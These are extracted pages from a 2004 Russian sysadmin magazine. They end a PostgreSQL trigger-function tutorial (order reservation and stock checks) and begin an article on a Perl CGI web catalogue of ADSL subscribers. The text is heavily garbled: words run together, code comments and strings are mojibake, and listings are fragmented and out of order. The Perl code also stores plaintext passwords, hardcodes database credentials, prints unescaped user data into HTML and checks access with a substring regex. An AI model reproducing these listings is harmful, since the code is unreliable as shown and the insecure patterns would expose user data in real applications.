Как видите, на этот раз все 5 записей послушно доба-вились. Причем добавить 500 000 записей будет столь жепросто. А теперь попробуйте посчитать трафик и число об-ращений к серверу баз данных, если эту задачу решать спомощью внешнего сценария на Perl, который будет выпол-няться на другой машине… Пользуясь случаем, давайте за-одно оценим скорость выполнения операций вставки и уда-ления (машина Cel466/64 Мб с полным «джентльменскимнабором» – Apache, Squid, Sendmail; load average ~0.1):

Третья команда помимо добавления пяти записей вклю-чала в себя удаление пятисот тысяч. Высокое время вы-полнения 4-й и 5-й команд объясняются значительной сте-пенью фрагментации БД после удаления, хотя видна тен-денция улучшать результат с каждым разом (оптимизатор-то не дремлет). Ну и «полный вакуум» с опцией анализа вкомментариях не нуждается («лучше день потерять, затопотом за пять минут долететь»).

Нужно указать еще одну особенность: PostgreSQL выпол-няет кэширование функций, и при этом использует не именатаблиц, а их OID (Object Identifier). В результате, если теперьудалить таблицу test1, а потом создать ее повторно, то по-пытка выполнить функцию inserter завершится неудачей:

Чтобы восстановить работоспособность функции, еепридется пересоздать, повторно выполнив команду «createor replace function…».

Теперь несколько слов о триггерных функциях. От обыч-ных они отличаются тем, что тип возврата у них должен бытьобязательно trigger:

Соответственно команды return, встречающиеся в телефункции, должны возвращать данные именно этого типа,который, по сути, является типом RECORD, то есть возвра-щает запись таблицы. Как правило, в качестве параметравозврата выступают специальные переменные NEW (новоезначение модифицируемой записи) и OLD (старое значение),которые передаются в триггерную функцию автоматически.

Вот мы и подошли к решению задачи, поставленной вначале статьи. Нужные таблицы уже созданы. Заполним ихнекоторыми значениями:

CREATE OR REPLACE FUNCTION inserter(int4)RETURNS int4 AS

'DECLAREN alias for $1;Rand numeric default 0.5;tmp varchar;

BEGINselect tablename into tmp

from pg_tableswhere tablename = \'test1\';

if tmp is null thenraise exception \'Table test1 not found.\';

elsedelete from test1;

end if;for i in 1..N loop

Rand := random();insert into test1 values(Rand);

end loop;return 0;

END;'LANGUAGE 'plpgsql�;

select inserter(5);

ERROR: связь с OID 29481 не существует

CONTEXT: PL/pgSQL function "inserter" line 10 at SQL statement

create [or replace] function <èìÿ ôóíêöèè>(<àðãóìåíòû>)returns trigger as �<òåëî ôóíêöèè>�language �plpgsql�

create table test1 (rnd numeric);select inserter(5);select * from test1;

Page 48: 023 Системный Администратор 10 2004

46

администрирование

Далее создаем триггерную функцию, которая будет вы-полняться после вставки новой записи в таблицу orders(здесь приведено только тело функции):

Обратите внимание на применение нами переменнойreserved%rowtype – она описывает запись таблицы reserved,которую мы в дальнейшем используем для организациицикла (конструкция «for row in select ... loop») по записям,выбранным из этой таблицы. С тем же успехом можно былобы использовать переменную типа RECORD, однако из-за

меньшей скорости обработки этот тип рекомендуется за-действовать только там, где переменная будет применять-ся при обработке нескольких таблиц или невозможно ука-зать конкретную таблицу.

Аналогично переменная whcount описана с тем же ти-пом, что и поле count таблицы warehouse. Конкретно в дан-ном примере это сделано исключительно в целях демонст-рации такой возможности. Но в реальных проектах типынекоторых полей в базе могут меняться по тем или инымсоображениям (например, поле типа char, хранящее IP-ад-реса машин, может быть в будущем изменено на специ-альный тип inet), и использование привязки типа перемен-ных к типу поля позволит избежать внесения правок во всеразработанные функции.

И теперь создадим сам триггер, связывающий создан-ную выше функцию с операцией вставки новой записи втаблицу orders:

Точно так же поступим с триггером для контроля обяза-тельных остатков (здесь все заметно проще):

На что здесь можно обратить внимание, так это на не-посредственное использование результата выборки в ка-честве переменной (см. конструкцию «select» в скобках).Естественно, выборка должна возвращать одно значениетребуемого типа. Ну и поскольку благодаря этому в функ-ции удалось обойтись без переменных, секцию DECLAREза ненадобностью можно опустить.

И теперь приступаем к проверке работоспособности.Сначала оформим «штатный» заказ:

Убеждаемся, что на складе количество мониторов умень-шилось, записи в таблицах заказов и резерва появились,предупреждений нет. Теперь закажем сразу 4 монитора:

Чтобы проверить правильность отмены просроченныхзаказов, даты выше были указаны прошедшие. Если сей-час заказать 10 мониторов, то заказ будет помечен как «notreserved», и соответствующая запись появится в таблицепредупреждений. Поскольку даже с учетом просроченныхзаказов 10 мониторов никак не набирается, то и аннулиро-

DECLAREwhcount warehouse.count%type;

rscount integer;rsorders integer;row reserved%rowtype;

BEGIN--îïðåäåëÿåì êîëè÷åñòâî íà ñêëàäåselect count into whcount

from warehousewhere goods_id = NEW.goods_id;

if whcount < NEW.count then--çàïèñûâàåì ñîîáùåíèå î íåõâàòêå òîâàðà

insert into goods_warnings(goods_id, message, date)values(NEW.goods_id,

'Íåäîñòàòî÷íî íà ñêëàäå', now());--ïðîâåðÿåì, åñòü ëè ïðîñðî÷åííûå

select count(count), sum(count) into rsorders, rscountfrom reservedwhere goods_id = NEW.goods_id and

date < now() - '5 day'::interval;if rscount + whcount >= NEW.count then

--îòìåíÿåì ïðîñðî÷åííûé çàêàçfor row in select * from reserved where

date < now() - '5 days'::interval loopupdate orders set status = 'cancelled'

where order_id = row.order_id;delete from reserved

where order_id = row.order_id;insert into orders_warnings(order_id,

message, date)values(row.order_id,

'Çàêàç îòìåíåí', now());end loop;

--äåëàåì íîâóþ çàïèñü â òàáëèöó ðåçåðâàinsert into reserved(order_id, goods_id, count, date)

values(NEW.order_id, NEW.goods_id,NEW.count, NEW.date);--çàíîñèì, åñëè ÷òî-òî îñòàëîñü, íà ñêëàä

update warehouse set count =count + rscount - NEW.count

where goods_id = NEW.goods_id;else

--çàðåçåðâèðîâàòü íå óäàëîñü � çàíîñèì ñîîòâåòñòâóþùèå ïîìåòêèupdate orders set status = 'not reserved'

where order_id = NEW.order_id;insert into orders_warnings(order_id,

message, date)values(NEW.order_id,

'Òîâàð ïî çàêàçó íå çàðåçåðâèðîâàí', now());end if;

else--óìåíüøàåì êîëè÷åñòâî íà ñêëàäå

update warehouse set count = count - NEW.countwhere goods_id = NEW.goods_id;

--äåëàåì çàïèñü â òàáëèöå ðåçåðâàinsert into reserved(order_id, goods_id, count, date)

values(NEW.order_id, NEW.goods_id, NEW.countNEW.date);end if;return NEW;END;

create trigger set_order after insert on ordersexecute procedure orders_after_insert();

Create or replace function warehouse_after_update()returns trigger as'BEGINif NEW.count < (select rest from goods

where goods_id = NEW.goods_id) theninsert into goods_warnings(goods_id, message, date)

values(NEW.goods_id,\'Îñòàòîê ìåíüøå îáÿçàòåëüíîãî\',now());

end if;return NEW;END;'language 'plpgsql';Create trigger rest_control after update on warehouse

execute procedure warehouse_after_update();

insert into orders(customer, goods_id, count, price, date)values('Èâàíîâ Èâàí Èâàíîâè÷', 3, 1, 7302.00, '2004-07-15');

insert into orders(customer, goods_id, count, price, date)values('Ãîðýëåêòðîñåòè', 3, 4, 7302.00, '2004-07-16');

insert into goods(goods, rest) values(�Êëàâèàòóðà�, 15);insert into goods(goods, rest) values(�Ìûøü�, 25);insert into goods(goods, rest) values(�Ìîíèòîð�, 5);insert into warehouse(goods_id, count) values(1, 30);insert into warehouse(goods_id, count) values(2, 30);insert into warehouse(goods_id, count) values(3, 7);

Page 49: 023 Системный Администратор 10 2004

47№10(23), октябрь 2004

администрирование

ваться ничего не будет. А вот если заказать 3 монитора, тос учетом высвобождения просроченного резерва (5 штук)нужное количество набирается и даже 2 монитора будутвозвращены на склад. В таблице предупреждений появит-ся 4 записи – две об аннулировании просроченных зака-зов, одна о том, что имела место нехватка товара на скла-де, и одна о том, что остаток мониторов (4 шт.) меньшеобязательного минимума (5 шт.).

Итак, поставленная в начале статьи задача решена: офор-мление заказа, включая такой «интеллектуальный» элемент,как попытка высвободить нужный товар из просроченногорезерва, выполняется по единственному запросу к СУБД.Очевидно, что если в функцию придется внести изменения(например, будет принято решение, что резерв должен хра-ниться минимум 7 дней, а не 5), то они потребуются толькона стороне СУБД. Клиенты (сколько бы их ни было) будутработать без каких-либо изменений. Кроме того, если однаиз операций даст сбой (например, не удастся сделать за-пись в таблицу резерва), то произойдет «откат» всех осталь-ных операций, выполненных при отработке функции, посколь-ку функция исполняется как единый транзакционный блок.

Несколько слов о среде разработки. Конечно, никто незапрещает использовать для этого терминал psql, но малей-

Ðèñóíîê 2

шее изменение в функции потребует полностью набрать всюкоманду create function. Графический клиент PgAdmin суще-ственно упрощает работу с функциями, однако некоторыенедоработки интерфейса (невозможность сохранить изме-нения, не закрыв при этом окно редактора функции; отсут-ствие запоминания последнего размера окна – отрегулиро-вав окно редактора один раз, при следующем его открытиипридется делать все заново) способны сильно потрепатьнервы. Поэтому лучше запастись более «продвинутым» при-ложением, например, средой разработки EMS PostgreSQLManager (http://www.ems-hitech.com/index.phtml). Данная про-грамма (рис. 2) предоставляет очень широкие возможностипо разработке и отладке функций PostgreSQL, однако, какэто ни печально, стоит денег. 30-дневную пробную версиюможно загрузить с сайта разработчика.

На этом я думаю завершить серию обзорных статей поPostgreSQL. В дальнейшем, безусловно, вопросы работы сэтой СУБД будут рассматриваться довольно часто, но ужев плане конкретных задач. На мой взгляд, разработчикамPostgreSQL удается очень удачно сочетать динамичное раз-витие продукта с определенной долей осторожности и кон-серватизма, что, в конечном итоге, делает эту СУБД весь-ма удачным выбором.

Page 50: 023 Системный Администратор 10 2004

48

администрирование

Очень часто системному администратору, работающему внебольшой фирме, попутно приходится разрабатывать про-граммы для внутренних нужд компании. Требования к по-добному ПО, как правило, невысоки, но это с лихвой ком-пенсируется очень сжатыми сроками, отводимыми на раз-работку. Освоить Delphi для того, чтобы на предприятии по-явилась программа-каталог пользователей Интернета илипрограмма, формирующая материальные отчеты, было быпросто замечательно. Но времени на подобные вещи, какобычно, не хватает. И потому приходится идти другим пу-тём. В данной статье я хочу рассказать о своем опыте ис-пользования веб-сервера для решения подобных задач.

Почему был выбран столь экзотический способ? Во-первых, Perl я знаю несколько лучше, чем Delphi или C++Builder. Во-вторых, такой подход без лишних усилий позво-ляет создавать клиент-серверные приложения, с которымиодновременно могут работать сотни пользователей, не за-ботясь о разработке клиентских программ – с этой рольюотлично справится любой браузер. В-третьих, налицо неза-висимость от конкретных платформ и операционных сис-тем – для сервера достаточно, чтобы на нем мог работать

Apache + Perl (вы можете использовать и другую связку),от клиентов требуется лишь поддержка какого-нибудь гра-фического обозревателя. И наконец, времени на разработ-ку и сопровождение ПО в данном случае затрачивается за-метно меньше, чем при «традиционных» способах.

Для наглядности рассмотрим в общих чертах процессразработки незатейливого приложения: каталога пользо-вателей ADSL, в который будут заноситься сведения обабонентах (фамилия, адрес, номер телефона), параметрыконфигурации (IP-адреса, интерфейсы, номера PVC), па-раметры линии (длина, диаметр жилы, сопротивление шлей-фа) и т. д.

В целях экономии места будет рассмотрена только пер-вая функция (работа со сведениями об абонентах). Оченьмногие детали придется опустить. Так, не будут рассмот-рены особенности Perl-модулей, подключаемых к нашимсценариям, способы работы с базой данных и т. д. Читате-лю понадобятся, по крайней мере, базовые знания Perl,HTML, PostgreSQL (или какой-нибудь другой СУБД). Еслиматериал статьи окажется вам интересен, я постараюсь раз-ложить все по полочкам в следующих статьях, оставляйте

ВНУТРЕННИЙ ВЕБ-СЕРВЕРВНУТРЕННИЙ ВЕБ-СЕРВЕРЧто админу хорошо, то пользователю – смерть.

Народная мудрость

СЕРГЕЙ СУПРУНОВ

конкурсная статья

Page 51: 023 Системный Администратор 10 2004

49№10(23), октябрь 2004

администрирование

ваши отзывы на форуме журнала «Системный админист-ратор».

Подготовительные мероприятияИтак, прежде всего нам нужно собрать сервер. Я остано-вил свой выбор (поскольку все это уже есть и работает) наследующем ПО (правда, кое-что из этого списка уже порабы обновить):! ОС: FreeBSD 5.2! Веб-сервер: Russian Apache 1.3.29! Язык программирования: Perl 5.6.1! СУБД: PostgreSQL 7.4.2

Рассматривать установку и конфигурирование всегоэтого я не буду – все довольно подробно описано и на стра-ницах журнала, и на бескрайних просторах Интернета. Вы-бор именно этого ПО – вопрос, скорее, личных предпочте-ний, поскольку по каждому из пунктов можно привести мас-су как положительных, так и отрицательных доводов. В кон-це концов с тем же успехом (с поправкой на более высокиетребования к ресурсам и вопросам безопасности) можноиспользовать и связку «Windows2003 – IIS – ASP – MSSQL».

Структура базы данных и доступ к СУБДНачнем разработку с определения структуры БД. Нужнозаметить, что это итерационный процесс, то есть обычнопри разработке сценариев выясняется, что база данныхдолжна быть несколько иной, потом корректировки вновьвносятся в код сценариев, снова исправляется БД и так дотех пор, пока разработчик не осознает, что эффект от даль-нейшего улучшения уже не окупает затрат на исправления.Но мы остановимся на первой итерации, тем более что нашазадача – показать сам принцип.

Итак, создадим БД с именем adsl, владельцем которойбудет пользователь adsluser с паролем password. В ней нампотребуются следующие таблицы:! sessions – информация сеансов пользователей (см. да-

лее):! id char(32) – идентификатор сессии;! a_session text – информация сессии;! login char(12) – имя пользователя;! password varchar – пароль пользователя.

! users – информация об абонентах ADSL:! uid serial – уникальный идентификатор абонента;! name varchar – фамилия, имя, отчество;! address varchar – адрес проживания;! phone char(7) – номер телефона.

! dslam– информация о ADSL-портах:! uid serial – уникальный идентификатор порта;! userid numeric – идентификатор подключенного на

порт абонента;! num char(10) – номер порта (в виде nDSLAM/nBOARD/

nPORT);! vlan numeric(4) – номер VLAN, соответствующей

ADSL-порту;! vpi numeric(3) – номер VPI;! vci numeric(3) – номер VCI, присвоенный клиенту;! interface char(15) – имя интерфейса, на котором бу-

дет вестись учет трафика;

! ipaddress inet – IP-адрес, сопоставленный с даннымпортом.

! lines – характеристики линий связи:! uid serial – уникальный идентификатор линии;! portid numeric – идентификатор порта DSLAM, на ко-

торый подключена эта линия;! length numeric(5) – длина линии в метрах;! diameter numeric(2,1) – диаметр жилы в миллиметрах;! impedance numeric(4) – сопротивление шлейфа в

Омах.

И еще одна таблица для хранения служебной информа-ции:! st_modules – список функциональных модулей:

! name char(20) – имя модуля;! description varchar – описание модуля;! ink varchar – ссылка на сценарий модуля;! allow char(12)[] – массив, хранящий имена пользова-

телей, которым позволено работать с данным моду-лем;

! orderby numeric(2) – данное поле задает порядок вы-вода модулей на экран.

В данном случае мы минимально задействуем расши-ренные возможности PostgreSQL, что позволит почти ни-чего не менять при использовании, например, MySQL.

Шаблон сайта – модульный подходПоскольку переписывать все сначала при необходимостирасширить функциональность нашего приложения – заня-тие не очень интересное, применим модульный подход.Пусть основной сценарий отвечает только за предоставле-ние доступа к имеющимся функциям, а каждая функциябудет реализована отдельным скриптом. Кроме того, час-то используемые операции будем выносить в наш модульMy::Insite.

Выглядеть базовый сценарий будет примерно так:

#!/usr/bin/perl �w#-------------------------------------------- adsl.cgiuse My::Insite;# Ïîäêëþ÷àåìñÿ ê ÁÄ è ñîçäàåì îáúåêò CGI äëÿ ðàáîòû ñ HTTP$dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password');$cgi = My::Insite->CGIStart();# Ñ÷èòûâàåì çíà÷åíèå HTTP-ïàðàìåòðà «action»($action = $cgi->param('action')) or $action = '';# Âûïîëíÿåì ïðîöåäóðó âûõîäàif($action eq 'logoff') { &doLogoff; }# Ïðîöåäóðà àâòîðèçàöèèif($action eq 'logon') {

$savedLogin = $cgi->param('login');$savedPassword = $cgi->param('password');

# èùåì ñåññèþ äëÿ çàÿâëåííîãî ëîãèíà($sSessId, $sPassword) = $dbh->selectrow_array('

SELECT id, password FROM sessions WHERE login=?', undef, $savedLogin);

# åñëè íå íàøëè � ïîâòîðíûé çàïðîñ àâòîðèçàöèèif(!$sSessId) { &doLogon('Failed'); }

# åñëè ñåññèÿ åñòü, íî ïàðîëü íå ñîîòâåòñòâóåò ââåäåííîìó,# ïîâòîðíûé çàïðîñ àâòîðèçàöèè

if($sPassword ne $savedPassword) { &doLogon('Wrong'); }# Åñëè âñå íîðìàëüíî � ñîõðàíÿåì èäåíòèôèêàòîð ñåññèè â cookie

$cookie = $cgi->cookie(-name => 'sessid', -value => $sSessId);

Page 52: 023 Системный Администратор 10 2004

50

администрирование

Задача данного сценария – выполнить авторизациюпользователя и предоставить ему список доступных для ра-боты модулей. Управление поведением сценария осуществ-ляется с помощью переменной «action», которая может иметьодно из следующих значений: logoff (закрыть сеанс), logon(выполнить процедуру авторизации, в ходе которой прове-ряется правильность пароля и открывается сессия, соответ-ствующая данному пользователю, о чем делается запись вфайлах cookie). Пустое значение данной переменной позво-лит вывести на экран перечень доступных модулей.

Список модулей хранится в БД, в таблице st_modules,откуда он выбирается и выводится на экран, причем отобра-жаются только те модули, для которых в поле allow содер-жится имя текущего пользователя. Больше ничего от глав-ного сценария не требуется. Для подключения к приложе-нию очередного модуля достаточно поместить в папку cgi-bin реализующий его сценарий и добавить запись в таблицуst_modules. То есть в этой таблице будет что-то похожее:

Результат работы сценария adsl.cgi представлен на ри-сунках 1 и 2.

print $cgi->header(-cookie => $cookie);print 'Àâòîðèçàöèÿ âûïîëíåíà óñïåøíî.';print " <A href='adsl.cgi'>Ïðîäîëæèòü...</A>";exit;

}# action íå èìååò çíà÷åíèÿ, ïûòàåìñÿ èçâëå÷ü èç cookie# èäåíòèôèêàòîð ñåññèè$sessId = $cgi->cookie('sessid');# Åñëè áåçóñïåøíî � óõîäèì íà àâòîðèçàöèþif(!$sessId) { &doLogon('First'); }# Åñëè sessId åñòü, ïûòàåìñÿ ïîëó÷èòü ïîëüçîâàòåëÿ ýòîé ñåñ-

ñèè($sLogin) = $dbh->selectrow_array('

SELECT login FROM sessions WHERE id=?;', undef, $sessId);

# Åñëè óäà÷íî � îòêðûâàåì ñåññèþ, èíà÷å � íà àâòîðèçàöèþif($sLogin) {

$session = My::Insite->SessOpen($dbh, $sessId);} else { &doLogon('Fialed'); }# Âûáèðàåì èç ÁÄ è âûâîäèì íà ýêðàí ñïèñîê ìîäóëåéprint $cgi->header;$sth = $dbh->prepare('SELECT * FROM st_modules ORDER BY

orderby;');$sth->execute;print "<P align='right'>Âû âîøëè ïîä èìåíåì $sLogin | ";print ' <A href="?action=logoff">Âûõîä</A></P>';while($rhash = $sth->fetchrow_hashref) {# Ïå÷àòàòü áóäåì òîëüêî òå ìîäóëè, äëÿ êîòîðûõ â ïîëå

allow# åñòü èìÿ âîøåäøåãî ïîëüçîâàòåëÿ

if($$rhash{allow} =~ m($sLogin)) {print "<DT><A href='$$rhash{link}'> ↵↵↵↵↵

$$rhash{name}</A>";print "<DD>$$rhash{description}<BR>";

}}# Âñå çàêðûâàåì (â ïðèíöèïå ýòî íå îáÿçàòåëüíî � âñå# è òàê çàêðîåòñÿ)My::Insite->SessClose($session);My::Insite->DBDisconnect($dbh);exit;#-------------------------------------------- ïîäïðîãðàììûsub doLogon { # ïîäïðîãðàììà àâòîðèçàöèè

$status = shift @_;if($status eq 'Wrong') {

$status = Íåïðàâèëüíûé ëîãèí èëè ïàðîëü.';} elsif($status eq 'Failed') {

$status = Îøèáêà ïîäêëþ÷åíèÿ äàííîãî ↵↵↵↵↵ïîëüçîâàòåëÿ.';

} else {$status = Ââåäèòå ëîãèí è ïàðîëü:';

}print $cgi->header();print <<__HTML__;

<CENTER><H3>$status</H3><FORM method="POST"><TABLE border="1"><TR><TD><TABLE><INPUT type="hidden" name="action" value="logon"><TR><TD>Login:<TD><INPUT type="text" name="login"

value=""><TR><TD>Password:

<TD><INPUT type="password" name="password" value=""><TR><TD colspan="2" align="center">

<INPUT type="submit" value="Âîéòè"></TABLE></TABLE></FORM></CENTER>__HTML__

exit;}sub doLogoff { # ïîäïðîãðàììà çàêðûòèÿ ñåàíñà# Çàïèñûâàåì cookie ñ èñòåêøèì «ñðîêîì ãîäíîñòè»# (îòðèöàòåëüíîå çíà÷åíèå ïàðàìåòðà expire), ÷òî óíè÷òîæèò# cookie â ïàìÿòè

$cookie = $cgi->cookie(-name => 'sessid', -value => '', -expires => '-1d');

print $cgi->header(-cookie => $cookie);print '<HEADER>';print '<META http-equiv="refresh" ↵↵↵↵↵

content="1;url=adsl.cgi">';

print '</HEADER>';print 'Äî íîâûõ âñòðå÷!';exit;

}

adsl=> select link, name, allow from st_modules order by orderby;

link | name | allow

---------------------+------------------------------------------+----------------------

adsl-users.cgi | Абоненты ADSL | {"admin","operator"}

adsl-dslam.cgi | Конфигурация DSLAM | {"admin"}

adsl-admin.cgi | Модуль администратора | {"admin"}

(записей: 3)

Ðèñóíîê 1

Ðèñóíîê 2

Page 53: 023 Системный Администратор 10 2004

51№10(23), октябрь 2004

администрирование

Модуль My::Insite в моем случае будет размещаться потакому адресу: /usr/local/lib/perl5/site_perl/5.6.1/My/Insite.pm.Узнать пути, по которым Perl ищет подключаемые модули,позволяет специальная переменная @INC:

На моей машине результат был получен следующий:

Код модуля My::Insite представлен ниже:

Как видите, сюда вынесены функции подключения к БД,работы с сессиями и т. д.

Может показаться, что в некоторых функциях нет смыс-ла. Например, зачем создавать CGIStart, которая только иделает, что вызывает функцию new() модуля CGI? Не про-ще ли вызывать эту функцию самому и не захламлять мо-дуль?

А теперь представьте, что вы решили вместо модуля CGIперейти на более функциональный. Что проще – перепи-сывать все имеющиеся сценарии или изменить одну функ-цию в My::Insite?

Думаю, в этом модуле все понятно без комментариев.Если что непонятно – всегда под рукой man DBI, man CGI,man Apache::Session.

Доступ на сайт и Apache::SessionЕсли вы доверяете всем сотрудникам или собираетесь ог-раничивать доступ к сайту «низкоуровневыми» средства-ми вроде брандмауэра для ограниченного круга лиц с рав-ными правами, то этот пункт можно пропустить. В общемже случае желательно организовать проверку «подлинно-сти» пользователя и соответствующим образом ограничи-вать его права в нашей программе. В серьезных случаяхможно дополнительно организовать SSL-шифрование, носейчас обойдемся без этого, чтобы не отвлекаться от ос-новной цели.

Пароли для простоты хранить и передавать будем в яв-ном виде, признак правильного входа в приложение, а за-одно и некоторые персональные настройки будем хранить,используя механизм сессий. В Perl это выглядит несколькосложнее, чем в PHP, зато проще сделать именно то, чтонужно. Для работы понадобится модуль Apache::Session.Если на вашей системе такого нет, для FreeBSD его, как ибольшинство других модулей, можно установить из коллек-ции портов:

Более универсальный путь, пригодный практически длявсех систем – использование архива CPAN. Этот метод опи-сан на страницах руководства man perlmodinstall.

Так как база данных у нас есть, целесообразно для хра-нения сессионной информации использовать именно ее. По-этому будем использовать подмодуль Apache::Session::Postgres. Поскольку число пользователей нашего приложе-ния ограничено и все они известны, то имеет смысл длякаждого из них заранее создать сессию, в которой будутхраниться все пользовательские данные, и при авториза-ции подключать именно ее. Такой подход позволит не бес-покоиться об удалении старых сессий и о хранении иденти-фикатора сессии между сеансами. Вручную создавать но-вую сессию не очень удобно, поэтому будем использоватьтакой небольшой сценарий:

# cd /usr/ports/www/p5-Apache-Session# make install

#!/usr/bin/perl �w#------------------------------------------ adsl-adduser.pluse DBI;use Apache::Session::Postgres;$login = $ARGV[0]; # ïåðâûé àðãóìåíò � èìÿ$password = $ARGV[1]; # âòîðîé � ïàðîëü# Çàïðàøèâàåì âñå, ÷òî íå ïåðåäàíî â àðãóìåíòàõif(!$login) {

print 'Enter login: ';chomp($login = <>);

}if(!$password) {

print 'Enter password: ';chomp($password = <>);

}# Ñîçäàåì íîâóþ ñåññèþ è ñðàçó çàêðûâàåì$dbh = DBI->connect('dbi:Pg:dbname=adsl', 'adsluser', ↵↵↵↵↵

'password');tie %session, 'Apache::Session::Postgres', undef,

{Handle => $dbh, LockHandle => $dbh};untie %session;# Â çàïèñü â òàáëèöå sessions, ñîîòâåòñòâóþùåé íàøåìó# ñåàíñó, äîáàâëÿåì èìÿ ïîëüçîâàòåëÿ è ïàðîëü, ââåäåííûå âûøå$pre = $dbh->prepare('

#!/usr/bin/perl#-------------------- testpath.pl$, = "\n";print @INC;exit;

$ ./testpath.pl/usr/local/lib/perl5/site_perl/5.6.1/mach/usr/local/lib/perl5/site_perl/5.6.1/usr/local/lib/perl5/site_perl/usr/local/lib/perl5/5.6.1/BSDPAN/usr/local/lib/perl5/5.6.1/mach/usr/local/lib/perl5/5.6.1

package My::Insite;use CGI;use DBI;use Apache::Session::Postgres;sub CGIStart { return CGI->new;}sub DBConnect {

my($obj, $dbName, $dbUser, $dbPwd) = @_;return DBI->connect('dbi:Pg:dbname='.$dbName, ↵↵↵↵↵

$dbUser, $dbPwd);}sub DBDisconnect {

my($obj, $dbh) = @_;$dbh->disconnect;return(1);

}sub SessOpen {

my($obj, $dbh, $sessId) = @_;tie %session, 'Apache::Session::Postgres', $sessId,

{Handle => $dbh, LockHandle => $dbh};return(bless(\%session, $obj));

}sub SessClose {

my($obj, $session) = @_;untie(%$session);return(1);

}return(1);

Page 54: 023 Системный Администратор 10 2004

52

администрирование

При желании этот модуль можно сделать CGI-скриптоми организовать доступ к нему через модуль администриро-вания, подключаемый к нашему приложению, как и все ос-тальные.

Ну и раз информация сессий будет необходима нам вкаждом модуле, то процедуры работы с ней вынесены в нашмодуль My::Insite. Как все это будет работать – смотрите влистингах, приведенных в статье.

Взаимодействие с БДДля работы с базой данных будем использовать Perl-мо-дуль DBI с драйвером DBD::Pg. Данный модуль и нужныйдрайвер можно установить как из портов, так и из CPAN.Функции открытия и закрытия соединения вынесены в мо-дуль My::Insite, остальное смотрите в коде конкретных мо-дулей.

Модуль обработки информацииоб абонентеВот мы и добрались до первого «рабочего» модуля. В егорамках нам нужно решить следующие задачи: вывод наэкран списка абонентов, ввод нового абонента, удалениеабонента, изменение данных.

Код модуля следующий:

else { print 'Íå ìîãó âûïîëíèòü: '.$action; }My::Insite->SessClose($session);My::Insite->DBDisconnect($dbh);exit;#------------------------------------- subroutinessub showUsers { # ïîäïðîãðàììà âûâîäà ñïèñêà àáîíåíòîâ

$sth = $dbh->prepare('SELECT uid, name, address, phone FROM users ORDER BY name;');

$sth->execute;print '<TABLE><TR><TD><H3>Àáîíåíòû</H3>';print '<TD align="right"><A href="adsl.cgi">Ãëàâíàÿ</A>';print '<TR><TD colspan="2">';print '<TABLE><TR><TD align="right">';print '[ <A href="?action=user&type=add">

Äîáàâèòü íîâîãî àáîíåíòà</A> ]';print '<TR><TD><TABLE border=1><TR bgcolor=#AAAAFF>

<TH>Àáîíåíò<TH>Àäðåñ<TH>Òåëåôîí<TH>Äåéñòâèå;

while(@res = $sth->fetchrow_array) { $oper = ($res[6] eq 'I'?'inlager':'outlager'); print "<TR><TD>$res[1]<TD>$res[2]<TD>$res[3]<TD>

[ <A href='?action=user&type=update&uid=$res[0] ↵↵↵↵↵'>Èçìåíèòü</A> ] ::

[ <A href='?action=user&type=delete&uid=$res[0] ↵↵↵↵↵'>Óäàëèòü</A> ]";

}print '</TABLE><TR><TD align="right">';print '[ <A href="?action=user&type=add">Äîáàâèòü ↵↵↵↵↵

íîâîãî àáîíåíòà</A> ]';print '</TABLE></TABLE>';return;

}sub userForm { # âûâîäèò ôîðìó äëÿ ìàíèïóëÿöèé ñ äàííûìè

$uid = $cgi->param('uid');$type = $cgi->param('type');if($type eq 'add') { $submitName = 'Äîáàâèòü'; }elsif($type eq 'delete') { $submitName = 'Óäàëèòü'; }elsif($type eq 'update') { $submitName = 'Èçìåíèòü'; }else {

print 'Îøèáêà îïåðàöèè: '.$type;exit;

}$header = $submitName.' àáîíåíòà:';if($type ne 'add') { ($name, $address, $phone) = $dbh->selectrow_array(' SELECT name, address, phone FROM users WHERE uid = ?;

', undef, $uid);} else { $name = $address = $phone = '';}if($type eq 'delete') { $in1 = "<B>$name</B>"; $in2 = "<B>$address</B>"; $in3 = "<B>$phone</B>";} else { $in1 = "<INPUT type='text' name='name' ↵↵↵↵↵

value='$name' size='35'>"; $in2 = "<INPUT type='text' name='address' ↵↵↵↵↵

value='$address' size='35'>"; $in3 = "<INPUT type='text' name='phone' ↵↵↵↵↵

value='$phone' size='7'>"; }

print <<__HTML__;<CENTER><H3>$header</H3><FORM method="GET"><TABLE border="1"><TR><TD><TABLE><INPUT type="hidden" name="action" value="changeuser"><INPUT type="hidden" name="type" value="$type"><INPUT type="hidden" name="uid" value="$uid"><TR><TD>Àáîíåíò: <TD>$in1<TR><TD>Àäðåñ: <TD>$in2<TR><TD>Òåëåôîí: <TD>$in3<TR><TD colspan="2"><HR><TR><TD>[ <A href="adsl-users.cgi?action=">Îòìåíà</A> ]

<TD align="right"><INPUT type="submit" ↵↵↵↵↵value="$submitName">

</TABLE></TABLE></FORM></CENTER>

update sessions set login = ?, password = ? where login is null; ');

$pre->execute($login, $password);$dbh->disconnect;exit;

#!/usr/bin/perl �w#------------------------------------ adsl-users.cgiuse My::Insite;$dbh = My::Insite->DBConnect('adsl', 'adsluser', 'password');$cgi = My::Insite->CGIStart();$action = $cgi->param('action');# Ïûòàåìñÿ ñ÷èòàòü èç cookie èäåíòèôèêàòîð ñåññèè,# åñëè áåçóñïåøíî � îòïðàâëÿåì íà àâòîðèçàöèþ$sessId = $cgi->cookie('sessid');if(!$sessId) {

&toLogon;}# Îòêðûâàåì ñåññèþ, èëè íà àâòîðèçàöèþ â ñëó÷àå îøèáêè($sLogin) = $dbh->selectrow_array('

SELECT login FROM sessions WHERE id=?;', undef, $sessId);

if($sLogin) {$session = My::Insite->SessOpen($dbh, $sessId);

} else {&toLogon;

}# Ïðîâåðÿåì, ìîæíî ëè äàííîìó ïîëüçîâàòåëþ ðàáîòàòü ñ ýòèì# ìîäóëåì($allow) = $dbh->selectrow_array('

SELECT allow FROM st_modules WHERE link=?;', undef, 'adsl-users.cgi');

if($allow !~ m($sLogin)) {&toLogon;

}print $cgi->header;# Ðàçáèðàåì âîçìîæíûå äåéñòâèÿif ($action eq '' ) { &showUsers; }elsif($action eq 'user' ) { &userForm; }elsif($action eq 'changeuser') { &changeUser; }

Page 55: 023 Системный Администратор 10 2004

53№10(23), октябрь 2004

администрирование

В данном случае для управления поведением сценарияиспользуется еще одна переменная – type. Если action оп-ределяет, на какую подпрограмму следует передавать уп-равление, то type содержит информацию о том, что именноследует делать в данной подпрограмме.

Сгенерированный приложением список абонентов име-ет вид, представленный на рисунке 3. Рисунок 4 демонст-рирует форму для изменения данных.

Ðèñóíîê 3

Ðèñóíîê 4
